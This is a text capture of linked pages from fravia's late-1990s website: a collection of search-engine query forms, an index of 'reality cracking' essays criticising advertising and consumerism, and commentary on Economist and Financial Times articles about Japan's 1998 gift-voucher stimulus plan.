Just copy this page onto your harddisk as c:\sealight.htm (or whatever), and then use it (after having edited
anything you fancy) in order to perform EFFECTIVE searches on the web (and elsewhere). Check the
complete search engines and the various how to search pages for more explanations and to acquire all the
necessary skills.

Search engines forms

ALTAVISTA
(Very quick! Text-only version, of course!)

any language
Ask AltaVista a question. Or enter a few words in

search refine Submit


Search - Advanced - Usenet

YAHOO

Yahoo!

http://www.instinct.org/fravia/sealight.htm (1 of 6) [2/7/2001 2:55:32 PM]


sealight.htm: fravia's light search engines page

EXCITE

Describe what you want to find using Excite...


Do not use query syntax in the search forms
I want to search the Web below

My search results MUST contain the words

My search results MUST NOT contain the words

My search results CAN contain the words

Display my results by document with titles & summaries 20


and results per page.

Display the top 40 results grouped by web site. Excite!

WWWorm

1. Search all URL references


a. AND - match all keywords
b. OR - match any keyword 50 matches

WWWorm

MAGELLAN

Search Reset

LYCOS
http://www.instinct.org/fravia/sealight.htm (2 of 6) [2/7/2001 2:55:32 PM]
sealight.htm: fravia's light search engines page

Search Reset
lycos catalog a2z directory point reviews

FTP search [the famous "Trondheim" server]

Over 100 million files have been catalogued by Lycos, now managing the famous Trondheim
engine, and can be searched using either the lycos_ftp normal form or the lycos_ftp
advanced form that you'll find below as well.

Search for Search Start over

Case insensitive multiple substrings search


Search type: Try exact hits first
15
Max hits: Max matches: Max hits/match:

Limit to domain: Limit to path:


Hide: Packages Distfiles FreeBSD OpenBSD NetBSD Linux

Formatting Parameters
Count Mode Size Date Host Path
Output fields:
Per-host header: nothing just host Host and country
Sort by: nothing (unsorted) Host, path Host (distance) Size, date Date, host
20
Truncate hostnames (longer than characters.)
Save Configuration Reset Saved Configuration

WEBCRAWLER

Search the web and show titles for 25 results

webcrawl

http://www.instinct.org/fravia/sealight.htm (3 of 6) [2/7/2001 2:55:32 PM]


sealight.htm: fravia's light search engines page

INFOSEEK

Search the World Wide Web Infoseek

HOTBOT

all the words

anytime

any language
Pages Must Include:
image MP3
video JavaScript
Return Results:
10 full descriptions

Search

NORTHERN LIGHT

(Click redball to perform your search)

Select: All Sources -- Search the World Wide Web & Special Collection
World Wide Web -- Search the entire World Wide Web
Special Collection -- 1 million articles not on other search engines

Usenet

http://www.instinct.org/fravia/sealight.htm (4 of 6) [2/7/2001 2:55:32 PM]


sealight.htm: fravia's light search engines page

You can of course search usenet switching the search engines above, else use the 'usenet dedicated' depositories...

http://www.dejanews.com/
This is where you can do many researches. Find a newsgroup that talks about your subjects first, then go there and refine the
search by adding to or typing over the original search entry displayed in the query box.

Search Usenet For: Find

Select documents matching all any keywords.


Display hitlist in concise detailed format.

http://www.reference.com
Inference robots and scripts
(Scripts that allow you to query (almost) simultaneously more than one search engine: "The Intelligent Massively Fast Parallel
Web Search")

Inference find search (This little juwel will produce an *.htm file with all found links in correct order)
Enter Query:
And click this redball:
MaxTime: 7 seconds

Dogpile web search (Dogpile is the "summa" of the main search engines)

The Web STOP Fetch


Search and then
Forty
Wait a maximum of Seconds.

Google (Very important inference tool because it has CACHED pages!)

http://www.instinct.org/fravia/sealight.htm (5 of 6) [2/7/2001 2:55:32 PM]


sealight.htm: fravia's light search engines page

Search the web using Google

Google Search I'm feeling lucky

All-in-one forms
(AV, EX, LY, NS, WC, YA, FT, FZ, IP image search)

(AV, EX, IS, LY, YA)

Search the internet for AltaVista Search

search engines - heavy ~ how to search

homepage links +ORC students' essays academy database


tools javascripts wars cocktails anonimity academy antismut CGI-scripts
bot wars counter measures mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/sealight.htm (6 of 6) [2/7/2001 2:55:32 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

FRAVIA'S REALITY
CRACKING LAB
(Last update: October 1999)

How to (try to) see some


light through their smoke

[news] ~ [tricks]
[essays] ~ [tools]
[links] ~ [info]
[text-cracking]

Slowly this kind of approaches are


gaining "momentum", and more and
more people show a 'working interest'
for this section, which is IMHO a very
good thing. Ok, we are dilettantes, so
what? I consider this 'reality cracking'
section to be among the most important
parts of my site... As usual your help is
not only welcome and needed... it is the
sine qua non for the development of all
this into something that can really be
helpful for anyone.
Let's push another snowball down
the Webhill!

Reality cracking, an
introduction
Reality cracking is a very important 'critical' activity, as Curious George wrote to me:

http://www.instinct.org/fravia/realicra.htm (1 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

More than that, "Reality Cracking" can be accomplished


by anyone with a critical mind. You don't need hours
of undisturbed time in front of the computer. You can
practice your reality cracking skills all day long,
everyday of your life! And you should, lest you be taken
advantage of unknowingly.

Yessir! That's one of the main points, and the satisfaction you'll gain every time you arrive to see 'through'
a concealed message (which is always soo obvious AFTERWARD) is a really great feeling.
You may ask why so many essays of the reality cracking section are directed against advertisement and our
'consumistic' habits. Simply stated, there's a lot of money being made and a lot of power being gathered by
the people that promote useless consumerism, and this determines a GREAT part of the reality you live in.
You pay for it in gradually limited economic mobility, pollution, threats to your health and a declining
standard of living, as measured by the things that really matter. This is what this section is about,
identifying these forces and giving you opportunities to lessen or eliminate their control over your life.
We're not suggesting that you pick up guns and start blasting away. What we advocate does far more
damage than bullets to these forces and the people behind them and makes life much more enjoyable for
you while it returns to you -at least in part- the possibility of living the way that you -not somebody else-
choose.

Dear contributors,
please don't be deceived if the essay you sent was not published, see: Reality cracking is a matter of
observation and knowledge, balance and wit, it's very important to avoid taking ourselves too seriously... a
common disease. Watch, work, send your findings... and avoid the ever lurking risks to fall into the
'weird-religious-nutty' or into the 'ideologically excessive-obsessed' patterns. Best essays are those that
examine a CONCRETE aspect of the reality around you and show it's hidden meaning: see, it is obvious (if
silly) that half-naked babes on -say- new cars help selling those same said cars to the zombies... but it is
not so obvious, for instance, that yougurts or fruit juices made with only ONE sort of fruit are all over the
world slowly being replaced by yogurts and fruit juices made with a 'cocktail' of fruit rests ("tropical mix",
"apples AND bananas", "fruits of the wald") for the purpose of maximising gains... consumer "choices" are
only a nuisance once you have lurked them already into buying your products... that's exactly what 'modes'
and 'trends' have been made for, btw... or d'you think you can buy somewhere a new fridge (say) that has
been built solid enough to last for thirty years?

The Essays
"Now, here, you see, it takes all the running you can do,
to keep in the same place."

http://www.instinct.org/fravia/realicra.htm (2 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

Lewis Carroll, Through the Looking glass

Everything started with +ORC's "supermarket enslaving tricks", a classical very STRONG reality cracking
essay that all should read first... Supermarkets and malls are treasure chests for reality crackers...

Supermarket enslaving tricks


The first "historical" article by +ORC (13 March 1997)
~
with an addition by Michel (15 Jan 1998)
with an addition by The dark one (12 Dec 1998)
see also the related discount supermarket by Curious George and European Motorroad malls, by fravia+
(23 Dec 1998)
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING ~ CONSUMERISM
enslavement techniques
(body language and hypnotic tricks, I collected this myself)
CONDITIONING ~ CONCEALED TRUTHS
The Bus Conductor & The Mineral Water
two "modern zen" writings from +ORC... Reality cracking at his best! (21 August 1997)
CONDITIONING ~ CONCEALED TRUTHS ~ SOCIAL DECADENCE
Reality Cracking: Commercial TV
A small essay by MrWho (27 January 1998)
(cracking easy advertisement protection schemes)
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING
Reality Cracking: Maggots and fags
A small essay by +ORC (his last one: 27 January 1998 :-(
(cracking easy cigarettes protection schemes)
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING
An Essay Attempting to Justify the Relationship
Between Code Cracking and Reality Cracking
A new 'theoretical' essay by Curious George (11 February 1998)
(Why is Reality Cracking Important?)
CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING
Statistical cracking: basics: cracking lotteries
An essay by +Atheist (17 February 1998)
"You have the same chance of winning a lottery whether you play or not"
STATISTICAL CRACKING ~ CONCEALED TRUTHS ~ CONSUMERISM
Fond manager cracking
Two essays by Curious george & Maxine+ (20 February 1998)

http://www.instinct.org/fravia/realicra.htm (3 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

"Lemming behaviour and the stockmarket"


STATISTICAL CRACKING ~ CONCEALED TRUTHS
Rhetoric of advertisement, a "Marlboro Classic" Advertisement analyzed
by Martine Joly (MARE) (14 March 1998)
"Reversing some truths behind two images"
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING
Reversing Reality, a first stab
by IcE (29 May 1998)
"even reality itself can be reversed"
CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING
Well... enjoy this little 'first stab' at our emptiness... hope some good other biochemistry and sociological
reversers will build on this...
Building on Ice's Essay, here we have
Perception of Time, Calendars and Animals
by NotAnne (12 November 1998)
("Maybe, just maybe "wetware" is the answer to all the questions we try so hard to solve with machines")
PHILOSOPHICAL CRACKING
Well... time is relative, isn't it? And anyway I would love to set a meeting 'at mid autumn' or to fix an
encounter 'short after the first snow'... and if you thought that your wristwatch is one of the most awful
slave-chains humanity has decided to wear look now at all the happy slaves, thanks to GSMs :-)
An attempt at reversing body language
by +Azzeccagarbugli (05 June 1998)
Reversing our fellow humans...
CONDITIONING ~ CONCEALED TRUTHS
Well, this seems indeed quite useful... reversing your fellow humans behaviour may happen to have some
utility, after all :-)
Subliminal Advertising
by Dr. Lechnar (10 June 1998)
What's hidden in the Microsoft's logo
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING
I knew it all the time, of course :-)
Food additives: a first stab
by Maxine+ (15 June 1998)
Dangerous food additives (reversing labels)
CONCEALED TRUTHS ~ FOOD & DRUGS
Uugh, puah! (I knew it all the time of course :-)
Page Faults
by +Mammon_ (01 July 1998)
Page Faults (reversing Magazines)
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS
Ever wondered how comes you cannot find those page numbers? :-)

http://www.instinct.org/fravia/realicra.htm (4 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

Consumer self-defense: an anti-advertisement tutorial


by +Insiderbetraying (10 July 1998)
Part n.1: Some amoebas slip from under the slide and take a quick look at the lab
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING ~ CONSUMERISM
Let's see if the amoebas will be able to organize themselves against the mad scientists :-)
Reversing Shampoo
by Makoli (06 September 1998)
Short and very concrete: don't use shampoo!
CONCEALED TRUTHS ~ CONSUMERISM
The simple truth is that shampoo's bad for your hair :-)
Getting deeper into reality cracking
A new 'theoretical' essay by <predator> (16 September 1998)
(Comments about "An Essay Attempting to Justify the Relationship
Between Code Cracking and Reality Cracking")
CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING ~ ADVANCED REALITY
CRACKING
"Sect cracking", a first attempt
by Joa (16 September 1998)
Real spiritual knowledge is freely available... When you have to pay for something or have to visit some
courses - you are definitively on the wrong track
CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING
Altruism and charity, a reversing attempt
by Deep dt (16 September 1998)
We are stuck within the argument which ASSUMES that a trade always occurs and defines the reward in
terms of that trade"
CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING
Heisenberg's Uncertainty Principle and Softice
by Pantheon (04 October 1998)
("It is possible to take any event or "truth" and find where an unjustified assumption was made, merely
because is fit the current paragigm")
ANTI-ADVERTISEMENT ~ CONDITIONING ~ CONSUMERISM
Invoice EveryCorp for EveryThing
by im/mu (04 October 1998)
("treat them exactly as they treat you: with contempt and arrogance, at outrageously inflated rates, and get
really heavy when they don't pay")
ANTI-ADVERTISEMENT ~ CONDITIONING ~ CONSUMERISM
Know the shit you eat, or FAST FOODs!!
by ABe* (14 October 1998)
("why millions of people still use to eat there?")
CONDITIONING ~ CONSUMERISM ~ FOOD & DRUGS

http://www.instinct.org/fravia/realicra.htm (5 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

Cracking The Information Curtain


by Tapu (30 October 1998)
("A two tier society, cracking and information deprivation strategies")
CONDITIONING ~ CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING
SHOULD THE COMPUTER INDUSTRY BE OUR PRIMARY TARGET?
by H.Cioff (12 November 1998)
("the politicians as the primary enemy")
REALITY CRACKING REVERSING ~ PHILOSOPHICAL CRACKING
Fragrances smell badly!
COPIED by Felipe (12 November 1998)
("Virtually every aspect of our lives is impacted by the Fragrance Industry")
REALITY CRACKING ~ REVERSING TRENDS ~ ANTI-ADVERTISEMENT
A first stab against the advertisement lures!
by Hal Cioff (25 November 1998)
"The real point of advertising is a) to make you buy something you don't need, or b) a particular brand of
what you need, or c) a more expensive variety than you need of a commodity you definitely do need"
REALITY CRACKING ~ REVERSING TRENDS ~ ANTI-ADVERTISEMENT
Windows' logo subliminals
by Felipe (25 November 1998)
"The wallpaper file, CLOUDS.BMP has an even more obvious female image with the light area just above
the center of the screen showing a blonde woman with puckered lips pressed directly up against those of
a..."
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING
Reverse engineering, information warfare and cots
by fravia+ (25 November 1998)
("And, pray, if they put a flight simulator inside an application you are using, dont you think they could as
well put some simple data-snooping (and channeling) routines?")
REALITY CRACKING: "The power of reversing" (1)
The multi-pharmaindustrial conspiracy
by ?Cioff (2 December 1998)
("The State or the Insurance companies pay for the pills, but not for the exercise programs. You may guess
where the money comes from")
REALITY CRACKING ~ CONDITIONING ~ CONCEALED TRUTHS ~ FOOD & DRUGS
Food additives: a deeper stab
by Kuririn (02 December 1998)
Dangerous food additives (reversing labels)
CONCEALED TRUTHS ~ FOOD & DRUGS
Another reversing of the food we are compelled to eat... (puah), and I fear that it won't be the last one :-(

A "quick and dirty" look at rhetoric and persuasion

http://www.instinct.org/fravia/realicra.htm (6 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

by Kuririn (12 December 1998)


Persuasion and Power (with an addition by Kuririn: 9 January 1999)
CONCEALED TRUTHS ~ RHETORICAL CRACKING
The next time you got to a public meeting on a controversial issue try to heckle the speaker :-)

Psycho slimming
by Cioff (12 December 1998)
Money, drugs and Obesity
CONCEALED TRUTHS ~ ANTI-ADVERTISEMENT ~ FOOD & DRUGS
Cracking industrial webpages' meanings

'the discount supermarket'


by Curious George
(and "European Motorroad malls", by fravia+)
23 December 1998
Compelling slaves to buy ~ Cracking awful supermarkets' tricks

CONCEALED TRUTHS ~ ANTI-ADVERTISEMENT ~ CONSUMERISM ~ SUPERMARKETS

Can open standards suffocate us? Some unsystematic notes on standardization


by Steve Talbott
9 January 1999
software and standards *by themselves* always become something of an oppressive element, something we
must learn how to transcend. Their very nature -- especially when they are thought to be intrinsically
valuable -- is to constrain us.

CONCEALED TRUTHS ~ CONDITIONING ~ REVERSING TRENDS ~ NEW RENAISSANCE

Bashing the paranormal crap


by Furtim
20 January 1999
paranormal experiences (like religious experiences) are total crap (with few exceptions that CONFIRM
this rule)

CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING

Bashing the paranormal crap


by The Priest
20 January 1999

http://www.instinct.org/fravia/realicra.htm (7 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

Jobs and tailoring (An unveiling)

CONCEALED TRUTHS ~ PHILOSOPHICAL CRACKING ~ NEW RENAISSANCE

Market Research and Its Role In Enslavement


by Tony ByGarthnos
Spring 1999
A Brief Description of Techniques Used By Marketers To Enslave

CONCEALED TRUTHS ~ ANTI-ADVERTISEMENT ~ CONSUMERISM ~ SUPERMARKETS

The Puppeteers
by Tom Pedersen
July 1999
A Brief Description of the "Puppeteers"

CONCEALED TRUTHS ~ NEW RENAISSANCE

Economic Wargames and credit card stupidity


by Dal Timgar
September 1999
...There is no limit to how dumb consumers are expected to be, some company named Providian keeps
sending me an application for a Visa "Classic"...

CONCEALED TRUTHS ~ CONSUMERISM ~ REVERSING TRENDS

The +Puppeteers: The way things are different: an example of paranoia


by vanrigter
October 1999
Some people dont use their brains, but just rely on the flow of the tide to take them places

CONCEALED TRUTHS ~ AUTO-REVERSING ~ RHETORICAL CRACKING

http://www.instinct.org/fravia/realicra.htm (8 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

The Tricks
Consumer trends cracking: some tricks
An essay by Maxine+ (12 March 1998)
"Reversing our lemming behaviour, a strategical approach"
ANTI-ADVERTISEMENT ~ CONCEALED TRUTHS ~ CONDITIONING ~
ANTI-CONSUMERISM

Pranks: an approach to reality cracking


An essay by Rhiddler (20 March 1998)
"A prank should have a resonance and a ring to it. It should speak of the higher aspirations of human
activity"
PHILOSOPHICAL CRACKING

Anti-consumistic frugality tricks


An essay by Hedwig Blastock (15 July 1998)
"When you start off with excess, less is not deprivation: it is freedom"
CONCEALED TRUTHS ~ ANTI-CONSUMERISM

REVERSING STRESS ("modern Zen" reality cracking methods)


An essay by Paul Wilson (25 July 1998)
"Learn the 'carpe diem' techniques from little kids"
PHILOSOPHICAL CRACKING ~ ANTI-CONSUMERISM

Reality cracking tools


Adding the Blemish of Truth : How to Alter a Billboard
The first reality cracking tool (15 July 1998): liberate the billboards! :-)
ANTI-ADVERTISEMENT ~ ANTI-CONSUMERISM

http://www.instinct.org/fravia/realicra.htm (9 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

Reality cracking links


http://www.adbusters.org/Toolbox
and
http://www.adbusters.org/Pop/buynothingday.html
(a fantastic reality cracking related site!)

Info: Snippets of real


information
Le Monde diplomatique *very* good, one of the best sources of information of this planet, a little
'pauperistic' and 'thirdworldish-whiny', but they see through reality better than many others. This is one of
the BEST KNOWLEDGE SITES of the whole web, without any doubt... hope you can read some french...
anyway there is a version in english as well
Warning: Reading this monthly magazine will change your weltanschauung :-)
Neue Zrcher Zeitung among the best information sources in the whole world... of course, since such a
labour-expensive country needs a 'clear' world image in order to sell the swiss ubiquitous chocolates and
watches... and could not care less about "ready-made" truths! Hope you can read some german... anyway
there are some extracts in english as well
World famous: as the poor soviets left Afghanistan all other zombies wrote about the new great aera of
freedom and peace that country would have enjoyed... the NZZ envoy was the only one that foresaw -pretty
clearly- what was going to happen there...
The Economist for those of you who can read only English (Karl Marx was an avid reader of the
Economist :-)
There is a lot of disinformation as well, but it is -at least- VERY cleverly presented

El Pais good to average "european style" solid information, especially for people interested in south
American affairs
Too much irrelevant info about spanish politics, yet some very good, if infrequent, reality "cuts"

http://www.instinct.org/fravia/realicra.htm (10 of 11) [2/7/2001 2:56:14 PM]


realicra.htm: REALITY CRACKING, the most difficult reversing art

Well, I have my own (seldom updated) 'reversing Information' section, see if you like it!

Reversing Information
And don't forget the text-cracking 'rhetorical' section!

Reality Cracking

homepage links +ORC most recent essays


anonymity counter measures bots wars CGI antismut cocktails
search_forms history of this site AntiMicro$oft mail_fravia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/realicra.htm (11 of 11) [2/7/2001 2:56:14 PM]


reveinfo.htm Reversing information (information cracking)

Reversing Information

Reversing information
[The Economist] ~ [The Financial time]
(service provided by fravia+)
Start: End July 1998 ~ Updated: End July 1999
[some essays about information]

Ok, since I read anyway "The Economist" every week, I think that I can as well deliver to my readers
some short 'insights' that will, I hope, help others to reverse elsewhere the (bogus) information they
continuously receive.
Understand me well, please: The Economist is one of the BEST(*) information sources of this planet,
because even our enemies: the greedy corporations that control this world, need some places where they
can exchange real bits of information (they cannot just read the 'silly propaganda to keep slaves quiet'
that you find on all TV-channels and most newspapers and magazines). By all means, read The
Economist, a magazine that even Karl Marx did avidly read, for reasons that will be obvious if you
peruse it... This said don't really expect me to provide this service continuously, I will add here some
particularly OBVIOUS economist snippets when I have the time / remember it / find something worth.
OK, I'll begin right now...
fravia+

*): Le Monde Diplomatique, Neue Zrcher Zeitung, The Economist, El Pais.

Snippets
The Economist's most famous trick, among other rhetorical tools, is its 'given as acquired' attitude. The
Economist's wishes are given as 'facts', and the effort to establish a 'we know better' common point of
view between information dealer and reader is almost always evident. Note also how the Economist uses
ANONYMITY in a very clever way: its articles are NEVER (well almost never) signed.

Various Snippets
When Where What

http://www.instinct.org/fravia/reveinfo.htm (1 of 3) [2/7/2001 2:56:16 PM]


reveinfo.htm Reversing information (information cracking)

"in their election manifesto (The


Social Democrats) promise to roll back
even the modest reforms the coalition
July 25th - 31st 1998 Germany's economic conjurors, p.31 has introduced -such as cuts in sick
pay and widow's pensions, and weaker
job protection for workers in small
business"
This is most amusing: any reader can immediatly understand what scenario would represent a 'non
modest reform', according to The Economist (and -therefore- according to the powers that be, don't
forget it)
"Mr Allen Wong runs VTech, a Hong
Kong company that has 60% of the
world market for kiddies' computer
and other electronic learning devices,
and also makes cordless telephones...
he now employs 22,000 Chinese
women in two factories, most of them
The ever-spreading tentacles of brought in by bus from Sichuan
June 20th - 26th 1998
Hong-Kong, Survey, p.19 province deep inside China, because
the wages the locals want are already
too high. The women get 500 Yuan
($60) a month, plus board and lodging,
compared with the $770 a month
people get for similar work in Hong
Kong. Now Mr Wong is scouting for
even cheaper labour in Thailand"
An incredible snippet of information: "the way Hong kong is moving up-market" according to The
Economist!
"Most West European producers of
sex videos use East European actors
wherever possible. 'They cost less and
do more' an exevcutive at Germany's
Silwa production explains, bluntly...
Stars' fees have dropped sharply. Even
excruciating or humiliating acts
usually cost the producer only two or
February 14th - 20th Giving the customer what he want,
three hundred dollars, roughly a third
1998 p.23
of the fees paid ten years ago ... For
the ruthless ('pimp enrepreneurs'), the
road to riches is clear and brutal: cut
costs by treating your workers
abominably Women and girls can be
enticed (or kidnapped) from poor
countries, smuggled into rich ones and

http://www.instinct.org/fravia/reveinfo.htm (2 of 3) [2/7/2001 2:56:16 PM]


reveinfo.htm Reversing information (information cracking)

worked as sex slaves."


This is not amusing at all: an article about "sex trade" that describes bluntly -better than many specific
studies- which kind of commercial freedom are the East European 'enjoying' right now

[some essays about information]


I would suggest you to read my own essay NATO
Aggression adjectives about the intervention in Kossovo
(april 1999).
Another inetersting snippet was posted on my messageboard
in July 1999 by Super-Samantha and it is about the media
coverage of young Kennedy's death.

You are deep inside fravia's pages of reverse engineering, choose your way out!

homepage
+ORC anonimity academy counter measures bots' wars
tools our tools how to use our tools
javascript wars reality cracking academy database programmer's corner how to protect better
antismut CGI-scripts cocktails search_page how to search mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/reveinfo.htm (3 of 3) [2/7/2001 2:56:16 PM]


japacon.htm Reversing information (information cracking)

Back to Reversing Information

A short introduction

As most readers of our Reality cracking section know, many essays there are directed against
advertisement and our 'consumistic' habits.
Simply stated, there's a lot of money being made and a lot of power being gathered by the people that
promote useless consumerism, and this determines a GREAT part of the reality we live in. We pay for it
in gradually limited economic mobility, pollution, threats to our health and a declining standard of living,
as measured by the things that really matter.

Now, see what I found for you: you'll read below a delightfully intriguing little piece of reality... this has
been published TODAY (6 October 1998) on the financial times...
I really don't need to add much... after all you are supposed to be reversers, therefore enjoy! (and reverse!)

Hey, this is not taken from the Economist, but from the "Financial times" (on line edition). You'll find
both following articles at
http://www.ft.com.

Japan's antidote to depression ~ 6 October 1998

By Paul Abrahams in Tokyo

Milton Friedman would be amused. The Nobel prize


winning economist, who once joked that the fastest way to boost money
supply was to throw dollar bills out of helicopters, may soon see a
variant of this idea put to the test.

The Japanese government said yesterday it was considering plans to


hand out 30,000 (130) gift vouchers to every one of the country's
125m inhabitants.

The government is also considering a "Happy Monday" scheme, which

http://www.instinct.org/fravia/japacon.htm (1 of 4) [2/7/2001 2:56:20 PM]


japacon.htm Reversing information (information cracking)

would turn an increasing number of Mondays into holidays in a bid to


persuade consumers to go shopping instead of going to work.

These are desperate times in Tokyo, as the government seeks to head


off what some economists believe is an imminent depression.

Yesterday, the Nikkei average of 225 leading shares fell another 2 per
cent to 12,948, its lowest since January 1986. Today, the government
is set to cut its forecast for gross domestic product this financial
year to minus 1.8 per cent. A few months ago, it was predicting 1.9
per cent growth.

The economics of the gift voucher scheme are perhaps a little more
rational than those of Friedman's free dollar bills. Like more
orthodox methods of stimulating an economy, such as printing money or
cutting taxes, recipients of the dollar bills could choose to save the
benefit rather than spend it immediately. But because the vouchers
would have a limited shelf life, people would have to spend them
quickly, giving a fast, if ultimately illusory, boost to the economy...
And here another article on this same matter:

A yen for spending ~ 6 October 1998

In most places handing out wads of crisp new notes is a fine way to
get things moving. But not in Japan. The government there is so
desperate to revive the economy that it is looking for a way to force
people to spend the cash as well. Its latest idea is to give Y30,000
($223) gift vouchers to all Japanese inhabitants, with an expiry date
by which they must be spent. The plan sounds bizarre, but does have a
certain logic.

None of the Japanese government's measures for fiscal reflation is


working. Its plans for a massive infrastructure boost are being
thwarted by an unenthusiastic response from local governments, which
are already over-indebted. And in a country where infrastructure is
already well-developed, any new spending that does happen may boost
demand, but will do little to improve the economy's long-term growth
potential.

The tax cuts being introduced, meanwhile, will probably end up in


people's bank accounts (or, more likely, under their mattresses),
rather than being spent. The reasons are not hard to understand.
Prices in Japan are stable or falling, so that little is lost by
deferring consumption. Job insecurity is growing. And individuals
approaching retirement are increasingly concerned about the shaky

http://www.instinct.org/fravia/japacon.htm (2 of 4) [2/7/2001 2:56:20 PM]


japacon.htm Reversing information (information cracking)

state of the life assurance industry.

Faced with these constraints, handing out money which people are
forced to spend straight away could be the only way to achieve a quick
fiscal boost.

The policy may prove administratively impossible. But even if it could


be done, it would fall well short of a panacea. The main effect would
probably be to change the timing of consumption, as people brought
forward their spending plans. After the vouchers were used up,
spending could quickly fall back.

And the scheme is too small to counteract the deflationary forces in


the Japanese economy. It might produce a boost of 0.7 per cent of
gross domestic product. But the International Monetary Fund estimates
that the Japanese economy is now running at about 8 per cent of GDP
below full capacity. The painful process of bank restructuring, if it
ever gets going, can only make matters worse in the short term.

The voucher idea is not crazy, and could help provide a much-needed
short-term stimulus to a rapidly deteriorating economy. But it needs
to be part of a much more substantial macroeconomics policy, including
large-scale monetary expansion by the Bank of Japan. And for the
economy to return to a reasonable long-term growth path, there is no
alternative but for Japan's politicians to tackle the structural
reforms that the country needs.
So, the consequence, as I see it, is that we are entering a funny (if scary) future of 'obligatory'
consumerism. Instead of trying to find an exit from an economic crisis that is evidently INHERENT to the
way the society works through a long overdue re-thinking of this same society and its basis and aims, we
are hurrying towards the absolute Paradox: "People don't want to buy crap? My Godness, we are doomed!
Let's find out methods to compel them to buy said crap".
The rationale behind all this being apparently that the overall gains by the industry (from subsidies,
political control through lobbies, overpriced products, workers firing and so on) are of such enormous
amplitude that giving people free vouchers to buy their products will nevertheless increase these overall
gains even more (unless you'r nav enough to believe they or their political puppies would really give out
money for free :-)
Therefore the really scary question is: what they will come out next? (once this pathetical schema too will
have failed):
Compulsory presence in the mall for at least two family members from 8:30 to 10:30?
Tax reductions for heavy consumerists ("Stakhanovian" buyers in parade)?
Compulsory attendance of TV-advertisement for kids and adults?
Salary paid in time-limited vouchers (so that people HAVE TO spend it)?

And, pray, why are these (allegedly) "free" vouchers not rather given to some of the undernourished
people in the third world? Wouldn't you think that the 4/5 of almost-starving poors would better know

http://www.instinct.org/fravia/japacon.htm (3 of 4) [2/7/2001 2:56:20 PM]


japacon.htm Reversing information (information cracking)

what to do with it than the 1/5 of consumistic drilled citiziens of the 'affluent' societies?
The answer is quite simple: the 'poors' won't get it because it is not a matter of spending, it is a matter of
WASTING.
In fact the 'poors' would spend the same amount of money, yet they would (unless they have been
massively brain-washed) spend it on more essential things, and not on useless products and gadgets.
Apparently we are already so deep buried inside this "stupidity production cave" that the powers that be
can solely come out with an artificial boost of useless consumerism as only solution to their own-made
manifest crisis. Ah! Ah! Poor old Karl will get quite some itches in his Londoner grave: He who laughs
last laugh best! (Yet there's not much to laugh, come to think of it :-(

Reality Cracking Reversing Information

homepage links +ORC most recent essays


anonymity counter measures bots wars CGI antismut cocktails
search_forms history of this site AntiMicro$oft mail_fravia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/japacon.htm (4 of 4) [2/7/2001 2:56:20 PM]


realicra.htm: TEXT CRACKING, exegesis and rethorical cracking

EXEGESIS
FRAVIA'S REALITY CRACKING LAB
TEXT CRACKING SECTION
(Created: October 1998 ~ Last update: May 1999)
[essays] ~ [news] ~ [tricks]
The web is text. All images and
sounds notwithstanding, the web is
text. It was created in order to
exchange and store texts. Email are
texts, and the whole Usenet is almost
exclusively text... even Perl, the
web-programming language that's
now all the rage, is an acronym of
"Practical Extraction Report
Language" and was created to extract
information from text files and
prepare reports. It is evident: because
of the web the 'written expression'
has re-acquired an importance it did
seem to have in part lost during the
now obsolete radio, telephone and
television aera (also known as "age
of the frill-morons" :-)
Yes: the web is text, an ocean of text,
of messages and information that we
must reverse. So we need means and
tools to crack all this text. But we
don't have them any more. So we go
back to the text-crackers, the great
rethorical wizards of ancient Greece,
the masters of the evangelische
text-exegesis, the incredible German
crackers of the 'Quellenkunde' of the
beginning of this now closing
century.
Since we can search, we find. The
old lore. Since we can reverse we
will learn how to crack - in spades -
the pathetical 'protection schemes'
used by magazines, newspapers,
politicians, any deceiving writer

http://www.instinct.org/fravia/exegesis.htm (1 of 4) [2/7/2001 2:56:22 PM]


realicra.htm: TEXT CRACKING, exegesis and rethorical cracking

email spammer, advertiser enemy.


We are reversers, a new race... and a
very old one. Beware.

Text cracking (rethorical reversing)


history of an almost forgotten lore

An 'exegesis' is applied 'reverse engineering' work on any written text. An almost forgotten Art as I said.
The best reversers of this kind where a bunch of German history professors of the late XIX and of the
